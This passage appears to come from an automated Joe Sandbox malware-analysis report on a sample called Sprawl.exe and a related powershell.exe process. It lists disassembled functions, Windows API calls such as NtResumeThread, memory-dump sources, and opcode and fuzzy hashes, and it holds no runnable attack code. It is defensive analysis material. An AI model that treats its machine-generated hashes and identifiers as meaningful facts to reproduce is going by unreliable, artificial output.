ShowWindow.USER32(00000000,00000005), ref: 00402C5E

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 42481ae060c013658952b0ba65f2133d3ed78682e8b262a627202bc2b689c50f
Instruction ID: 1b84634240e2166e3851fbc92cd381e461e1db94d3428fd6ef6110bf0b183a31
Opcode Fuzzy Hash: 42481ae060c013658952b0ba65f2133d3ed78682e8b262a627202bc2b689c50f
Instruction Fuzzy Hash: 97F05E30A09220EFD6317B20FE4CD9F7BA4BB04B15B404976F104B11EAC7782882CB9D

Function 0040361A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,76233410,00000000,C:\Users\user\AppData\Local\Temp\,004035F2,0040340C,?), ref: 00403634
GlobalFree.KERNEL32(00000000), ref: 0040363B

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040361A

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-3936084776
Opcode ID: dccbf9c36de3459267eb1af99735bed06c7a158201479be104942c1c24015bd8
Instruction ID: 1a9bfca33d817e772708c534a1c0ef1eeb9da564593c1c7aee7843147688a1a4
Opcode Fuzzy Hash: dccbf9c36de3459267eb1af99735bed06c7a158201479be104942c1c24015bd8
Instruction Fuzzy Hash: 60E08C329050606BC6316F15ED04B2E76A9AB48B22F42006AEA407B3A08B756C424BCC

Function 004057E8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(80000000,C:\Users\user\Desktop,00402CD2,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Sprawl.exe,C:\Users\user\Desktop\Sprawl.exe,80000000,00000003), ref: 004057EE
CharPrevA.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402CD2,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Sprawl.exe,C:\Users\user\Desktop\Sprawl.exe,80000000,00000003), ref: 004057FC

Strings

C:\Users\user\Desktop, xrefs: 004057E8

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-3125694417
Opcode ID: cad1fee570528055bb4f840757e41c2b2d093a40416f1971c342fc3ba500c074
Instruction ID: 563d0c8124584ba78a4db43b9ec919a88ee2b9567cf051c7da1bb821b6b33a35
Opcode Fuzzy Hash: cad1fee570528055bb4f840757e41c2b2d093a40416f1971c342fc3ba500c074
Instruction Fuzzy Hash: 48D0A773808D705FF34362109C04B8F6B48CF12740F094062E140A71D0C2780C414BBD

Function 00405907 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405B64,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405917
lstrcmpiA.KERNEL32(00000000,00000000), ref: 0040592F
CharNextA.USER32(00000000,?,00000000,00405B64,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405940
lstrlenA.KERNEL32(00000000,?,00000000,00405B64,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405949

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: d250403eeccc32afa1460bd507a63d74f6ad2c43926490d4129708a4008c1f50
Instruction ID: 9438e9cad6691fea7f13f8d56426e11099e03f26c07faecbb185dc05f13043cf
Opcode Fuzzy Hash: d250403eeccc32afa1460bd507a63d74f6ad2c43926490d4129708a4008c1f50
Instruction Fuzzy Hash: D5F06236505518FFCB129FA5DC00D9EBBA8EF16360B2540B9F800F7350D674EE01ABA9

Analysis Process: powershell.exePID: 2524, Parent PID: 2836COMMON

Execution Graph

Execution Coverage:	3.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	16.7%
Total number of Nodes:	24
Total number of Limit Nodes:	3

Executed Functions

Function 0B78E439 Relevance: 1.5, APIs: 1, Instructions: 47
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtResumeThread.NTDLL ref: 0B78E49F

Memory Dump Source

Source File: 00000002.00000002.2786477517.000000000B78B000.00000040.00001000.00020000.00000000.sdmp, Offset: 0B78B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b78b000_powershell.jbxd

Yara matches

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 2a3a006607e5e828a537991fca93b5330f4120939df3164094c71d549461c120
Instruction ID: 370c62671592c4f5557668a087fb16b2ff947600cbcfb68fa56ff1e766c57567
Opcode Fuzzy Hash: 2a3a006607e5e828a537991fca93b5330f4120939df3164094c71d549461c120
Instruction Fuzzy Hash: FE015E7564064A8FDF35EE78C8983CE3763EF99354FA08439D88A8B648D735958ACB01

Function 04D2DE58 Relevance: .7, Instructions: 712COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2725590394.0000000004D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa0aa3d0513a1b1798f479a0fe2ab0652f75998ab83c20da7c9d94fe94c0e297
Instruction ID: 7a43867ba9c419af1e0df945e9a9ae3423f5b14707525559cd7a24b0b17933a1
Opcode Fuzzy Hash: aa0aa3d0513a1b1798f479a0fe2ab0652f75998ab83c20da7c9d94fe94c0e297
Instruction Fuzzy Hash: E152BF34B00229CFDB24CF24C9547ADBBB2BF95709F1045AAE949E7250EB70AD85CF51

Function 07854B50 Relevance: 1.0, Instructions: 1038COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2762149689.0000000007850000.00000040.00000800.00020000.00000000.sdmp, Offset: 07850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7850000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec83c1abf56c3746deeb2f51f0c2315c89baa00604ff776c5d354cb92f9b41b9
Instruction ID: eb20424b9cd080f685734b76e5c8d841b6b1cd401e3ab19dd4ebc062cd1c9ed3
Opcode Fuzzy Hash: ec83c1abf56c3746deeb2f51f0c2315c89baa00604ff776c5d354cb92f9b41b9
Instruction Fuzzy Hash: 4C926DB0A00305DFD714CB98C455B9ABBB2FF89714F258069E909AF751CB76EC82CB91

Function 07854B32 Relevance: .8, Instructions: 840COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2762149689.0000000007850000.00000040.00000800.00020000.00000000.sdmp, Offset: 07850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7850000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2680d78b8db22d4ccc6e589e5275ffc9c4b37a0345c123beb91837fdb33d193f
Instruction ID: 9f8f581eddb5db33de60616617c501f387b63bfe4c04bccb178f810bd30dad42
Opcode Fuzzy Hash: 2680d78b8db22d4ccc6e589e5275ffc9c4b37a0345c123beb91837fdb33d193f
Instruction Fuzzy Hash: C4725DB4A00305DFDB14CB98C445B9AB7B2FF89714F258459E909AF391CB76EC82CB91

Function 0785B7C8 Relevance: .8, Instructions: 783
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.2762149689.0000000007850000.00000040.00000800.00020000.00000000.sdmp, Offset: 07850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7850000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf224f50946ce0ad3f012fae09d59a313595ac593160e6e2a7512f5348177aa1
Instruction ID: 49f1300827e5756d0c76f753daf85d9b23ce38f04aa706403f74104b650b2ed0
Opcode Fuzzy Hash: bf224f50946ce0ad3f012fae09d59a313595ac593160e6e2a7512f5348177aa1
Instruction Fuzzy Hash: D06291B0A00219CFDB14DF68C854BAABBB2FF95354F1080A9D909AB751DB72DD81CF91

Function 07853E8A Relevance: .6, Instructions: 644COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2762149689.0000000007850000.00000040.00000800.00020000.00000000.sdmp, Offset: 07850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7850000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2dd257377f5eeb21f9502455d2054a3f2e5f939be9e91fd746ef2dda0d804679
Instruction ID: 286109fb6b0f816b6350c48529b51d937be5963ed776c518803783f01f9a9d99
Opcode Fuzzy Hash: 2dd257377f5eeb21f9502455d2054a3f2e5f939be9e91fd746ef2dda0d804679
Instruction Fuzzy Hash: F7527DB4B00215DFDB10DB58C844F99BBB2BF88748F14C4D8E909AB751DB72ED828B61

Function 0785CDEB Relevance: .6, Instructions: 621COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2762149689.0000000007850000.00000040.00000800.00020000.00000000.sdmp, Offset: 07850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7850000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5933267d908922c46a7fad942e44fc48f3f3b2673275b47de986f309956687d
Instruction ID: cc5dfdc51c4ea8e64e28da3f61df417cdac2207931f0d8d11fe79cac95cc6e34
Opcode Fuzzy Hash: a5933267d908922c46a7fad942e44fc48f3f3b2673275b47de986f309956687d
Instruction Fuzzy Hash: 09425FB4B00215DFD754DB58CC50BAAB7A2BFC9744F148099E909AF391CB72ED828F91

Function 0785358F Relevance: .6, Instructions: 597COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2762149689.0000000007850000.00000040.00000800.00020000.00000000.sdmp, Offset: 07850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7850000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d05036deb115f80da46fc24dc4cd5b756da8579052e77901b7b428ed63256bef
Instruction ID: e88b02e36d8d86222150ee5696d8e5077be572e70d172d29ff7b20541df1e258
Opcode Fuzzy Hash: d05036deb115f80da46fc24dc4cd5b756da8579052e77901b7b428ed63256bef
Instruction Fuzzy Hash: 9C428EB0B00215DFDB14DB58C854B99BBB2BFC8744F1084A9E908AF791DB71ED82CB61

Function 07851148 Relevance: .6, Instructions: 589COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2762149689.0000000007850000.00000040.00000800.00020000.00000000.sdmp, Offset: 07850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7850000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 460ad7f00b3550f38de39ea12b61ad4719efd22f5e81a774b6d3f574188794f4
Instruction ID: 59e20ea6fc5d6f791dd6a550e0fca5a2784926bb2c56431da9f64606920db830
Opcode Fuzzy Hash: 460ad7f00b3550f38de39ea12b61ad4719efd22f5e81a774b6d3f574188794f4
Instruction Fuzzy Hash: E6327EB0F00209DFD714CB98C448BAABBE2AF99B54F148069E905EF751DB72EC41CB91

Function 0785C5B4 Relevance: .5, Instructions: 492COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2762149689.0000000007850000.00000040.00000800.00020000.00000000.sdmp, Offset: 07850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7850000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2968e11c3d684119d9f35a527d770a1c0fd1ac548c7afc048d0ec736564e73d
Instruction ID: 473a9fd5ab5165bb8314f16d177bf9e1d3fe608bc9d2e2148f77a057a94a7aeb
Opcode Fuzzy Hash: f2968e11c3d684119d9f35a527d770a1c0fd1ac548c7afc048d0ec736564e73d
Instruction Fuzzy Hash: 73225DB0B00215DFD754DB58CC54F9ABBA2AFC9754F108099E909AF391CB72ED828F91

Function 07853F9B Relevance: .5, Instructions: 490COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2762149689.0000000007850000.00000040.00000800.00020000.00000000.sdmp, Offset: 07850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7850000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2495576f17350990ace58974a151ebf62154ab9b8f47995f89e6039cf86a70c7
Instruction ID: 50e72d6312b3435ffe9bbbbb537aeeb6c81023a3c3ca97b98739a80988c69d57
Opcode Fuzzy Hash: 2495576f17350990ace58974a151ebf62154ab9b8f47995f89e6039cf86a70c7
Instruction Fuzzy Hash: EB226CB4A00215DFDB10DB58C844F99BBB2FF88754F1484D8E909AB791DB72ED828F61

Function 0785C5F8 Relevance: .5, Instructions: 474COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2762149689.0000000007850000.00000040.00000800.00020000.00000000.sdmp, Offset: 07850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7850000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03ad00ad35e6a2373fc6de6b09c595e4e0acefef8eeec41fda0f164d773b5add
Instruction ID: b523840f1589d43408f2f7041b13338ed0d2bfbe025729c3be64e0a733c62043
Opcode Fuzzy Hash: 03ad00ad35e6a2373fc6de6b09c595e4e0acefef8eeec41fda0f164d773b5add
Instruction Fuzzy Hash: C5124CB0B00215DFD754DB58CC55F9ABBA2AFC9744F148098E909AF391CB72ED828F91

Function 0785CED1 Relevance: .5, Instructions: 468COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2762149689.0000000007850000.00000040.00000800.00020000.00000000.sdmp, Offset: 07850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7850000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 312d0fa3578c5737603a49b32c22c11047f9792bbd05074d340a56776a1bb85d
Instruction ID: 5acaffcb5ab34e8c5291b3e6668c49a866df7334d73957f15d13687abc6d5e63
Opcode Fuzzy Hash: 312d0fa3578c5737603a49b32c22c11047f9792bbd05074d340a56776a1bb85d
Instruction Fuzzy Hash: B2124DB0B00215DFD754DB58CC54F9ABBA2ABC9744F148099E909AF391CB72ED828F91

Function 07854238 Relevance: .4, Instructions: 373COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2762149689.0000000007850000.00000040.00000800.00020000.00000000.sdmp, Offset: 07850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7850000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3226e781fb23f3a95f325d2224f33565230dc3b827622cedf0ab18204fe89b1
Instruction ID: b22d5fe55d717e53a7bd2ffb9f19cddc218f38175739fed57df506e392a0b521
Opcode Fuzzy Hash: c3226e781fb23f3a95f325d2224f33565230dc3b827622cedf0ab18204fe89b1
Instruction Fuzzy Hash: 17E190B0B00249DBDB04DBA8C454B9EBBF3AFC9744F248069E905AF755CB71DC868B91

Function 0785D324 Relevance: .3, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2762149689.0000000007850000.00000040.00000800.00020000.00000000.sdmp, Offset: 07850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7850000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5365f8dde139b2348c76d957eec2c549ab3030a15ddd874a4d6e707bd690d305
Instruction ID: f75db147b6f3beb177e8d08f1b4fa904d36c07a9acafdbe21c5135c4e8b2e461
Opcode Fuzzy Hash: 5365f8dde139b2348c76d957eec2c549ab3030a15ddd874a4d6e707bd690d305
Instruction Fuzzy Hash: F5E13DB4B00219DFDB50DB64C884B9AB7B2BF8A744F108194D909AB751DB72ED81CFA1

Function 07854215 Relevance: .3, Instructions: 305COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2762149689.0000000007850000.00000040.00000800.00020000.00000000.sdmp, Offset: 07850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7850000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0884195b341100daa3d37ace0ecc086f75b0e3cfdb0c2dba0a3cf6446a121c8
Instruction ID: 568aecc3c8e9f7ed114274b6f1cfa6e4dbba48386f7315c72cea1824507625d7
Opcode Fuzzy Hash: c0884195b341100daa3d37ace0ecc086f75b0e3cfdb0c2dba0a3cf6446a121c8
Instruction Fuzzy Hash: C4C19CB0A00245DFDB04CFA8C444B9EBBB2EF89744F248059E909AF355CB71EC86CB91

Function 07855CD7 Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2762149689.0000000007850000.00000040.00000800.00020000.00000000.sdmp, Offset: 07850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7850000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7aa79bdfef1598d9df5a414741363c0cf7047f9ee3d4b515a14c6faad87a4978
Instruction ID: bf4314cfb7eab7f06a0d8e2541bbea4544f597d5e6646e082172f9075caaefa8
Opcode Fuzzy Hash: 7aa79bdfef1598d9df5a414741363c0cf7047f9ee3d4b515a14c6faad87a4978
Instruction Fuzzy Hash: CE918CB1704346DFCB219F7898142AA7FA6AFD6650F1540BBDC80DB681EB35C852C7A2

Function 04D2731A Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2725590394.0000000004D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 390f27f9fdf0c3134e37d80db4fdb97247a81e3f9637c963b463170af90d8903
Instruction ID: 4c7bd4924eeb7e437616de99d5503ac4fd849d73142739e742ab2b7da2378869
Opcode Fuzzy Hash: 390f27f9fdf0c3134e37d80db4fdb97247a81e3f9637c963b463170af90d8903
Instruction Fuzzy Hash: EBA18035F00259DFDB24DFA4DA44A9DBBB2FF85314F218568E406AB364DB34AD49CB80

Function 07850840 Relevance: .2, Instructions: 234COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2762149689.0000000007850000.00000040.00000800.00020000.00000000.sdmp, Offset: 07850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7850000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6735110dc468d774fef4775b3ce65deb46c10f80f7df53223f0ef3d2812d4078
Instruction ID: 01895385b2d3526ebb8fcf7a2e142f92f98aefb6eab852955dd72f231165c99f
Opcode Fuzzy Hash: 6735110dc468d774fef4775b3ce65deb46c10f80f7df53223f0ef3d2812d4078
Instruction Fuzzy Hash: 467127B1B0021ACFDB259FB988106AABBA6EFD5314F14807ACD05DB645EB31D941C7E1

Function 04D27BD6 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2725590394.0000000004D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c3947ed5edb998e64a1dfa29f2ea05627230b54e733be4cc043728a2bed3b83
Instruction ID: 9e7576d17dfc6474ef2ed433862c3ac5a64be1a02340d950e84b15bdf3a29cf4
Opcode Fuzzy Hash: 4c3947ed5edb998e64a1dfa29f2ea05627230b54e733be4cc043728a2bed3b83
Instruction Fuzzy Hash: B1715D30E00218DFDB28DFA5D954BADBBF2BF88348F148469D412AB760DB75AD46CB50

Function 07850B48 Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2762149689.0000000007850000.00000040.00000800.00020000.00000000.sdmp, Offset: 07850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7850000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdffed49567920ffaecea0fdf19c59310299887b81226319e550de5ee2cf501f
Instruction ID: e7401b1c33f23ff1188ffdd50743b1d221f3def38f250b67f7590cf30f2aea6c
Opcode Fuzzy Hash: bdffed49567920ffaecea0fdf19c59310299887b81226319e550de5ee2cf501f
Instruction Fuzzy Hash: 44514CB17043599FDB218BB9880076ABBA5AFD3325F14C07BD945CB291DA71CC45C7A2

Function 04D27A53 Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2725590394.0000000004D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 380974fc45d330a9e6d57929e5b9a5f9d2b5273a53e4cdd832db7a6a889b1a31
Instruction ID: 688911e028c67aae1fbc865ea7569d1698bd087b32ed563da28d531dc097aa9a
Opcode Fuzzy Hash: 380974fc45d330a9e6d57929e5b9a5f9d2b5273a53e4cdd832db7a6a889b1a31
Instruction Fuzzy Hash: 79619D30A00219CFDB24DF69C994A9EFBB2FF84358F14896ED0069B751DB71AC46CB90

Function 078558C8 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2762149689.0000000007850000.00000040.00000800.00020000.00000000.sdmp, Offset: 07850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7850000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a563af4b6d8012d99a88a332628e171d7f29e8a14f5d938d27323458cd291e1e
Instruction ID: ba005fa54379602febad5da761f753809883d874634a7c8bac504ed67eb48784
Opcode Fuzzy Hash: a563af4b6d8012d99a88a332628e171d7f29e8a14f5d938d27323458cd291e1e
Instruction Fuzzy Hash: 83518CB4A00305DFD710CF98C095BA9BBB3EF9A714F248069E909AF751DB75D881CB91

Function 04D2B6D0 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2725590394.0000000004D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b10ca12f51a0e4537aa5b80b2de18ec3dc1e408b083d17a99977a1fd3f2ef51
Instruction ID: a0cc1237dd28124688c967c3ed04c613f59ef7e3377f25ec649ec14179cd26ea
Opcode Fuzzy Hash: 6b10ca12f51a0e4537aa5b80b2de18ec3dc1e408b083d17a99977a1fd3f2ef51
Instruction Fuzzy Hash: 58416034A00204CFEB08DBB9C9547AEBBF3AF89340F14C469D905AB7A5DE759C458BA1

Function 078583BD Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2762149689.0000000007850000.00000040.00000800.00020000.00000000.sdmp, Offset: 07850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7850000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 007d745bcfd7d5ef35be4275ec9c3b5dc8e406d7f35505532925cbfb71128a82
Instruction ID: 259634f4b2f4dc950792188755eed12e9d3ab2d482af86f76d95882700e55feb
Opcode Fuzzy Hash: 007d745bcfd7d5ef35be4275ec9c3b5dc8e406d7f35505532925cbfb71128a82
Instruction Fuzzy Hash: 91415DF1B00255CFD7109BB894116EFBB929FD6654B1480ABDD01DF712EE31C80287A2

Function 04D277F9 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2725590394.0000000004D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df72441c7371ccba4393370052fe3166f01f3fc61e51bef6f3d69efcd8cf5c36
Instruction ID: f17b56fbe8ab040ddca76c0a10accb1edcf6c11301c4333690e8e0531ac499c4
Opcode Fuzzy Hash: df72441c7371ccba4393370052fe3166f01f3fc61e51bef6f3d69efcd8cf5c36
Instruction Fuzzy Hash: 4E417F34B04215DFDB25DB64C658AAABBB2BF89354F14446DD406EB7A0CF34AD41CB50

Function 04D2F00C Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2725590394.0000000004D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D20000, based on PE: false

Joe Sandbox IDA Plugin
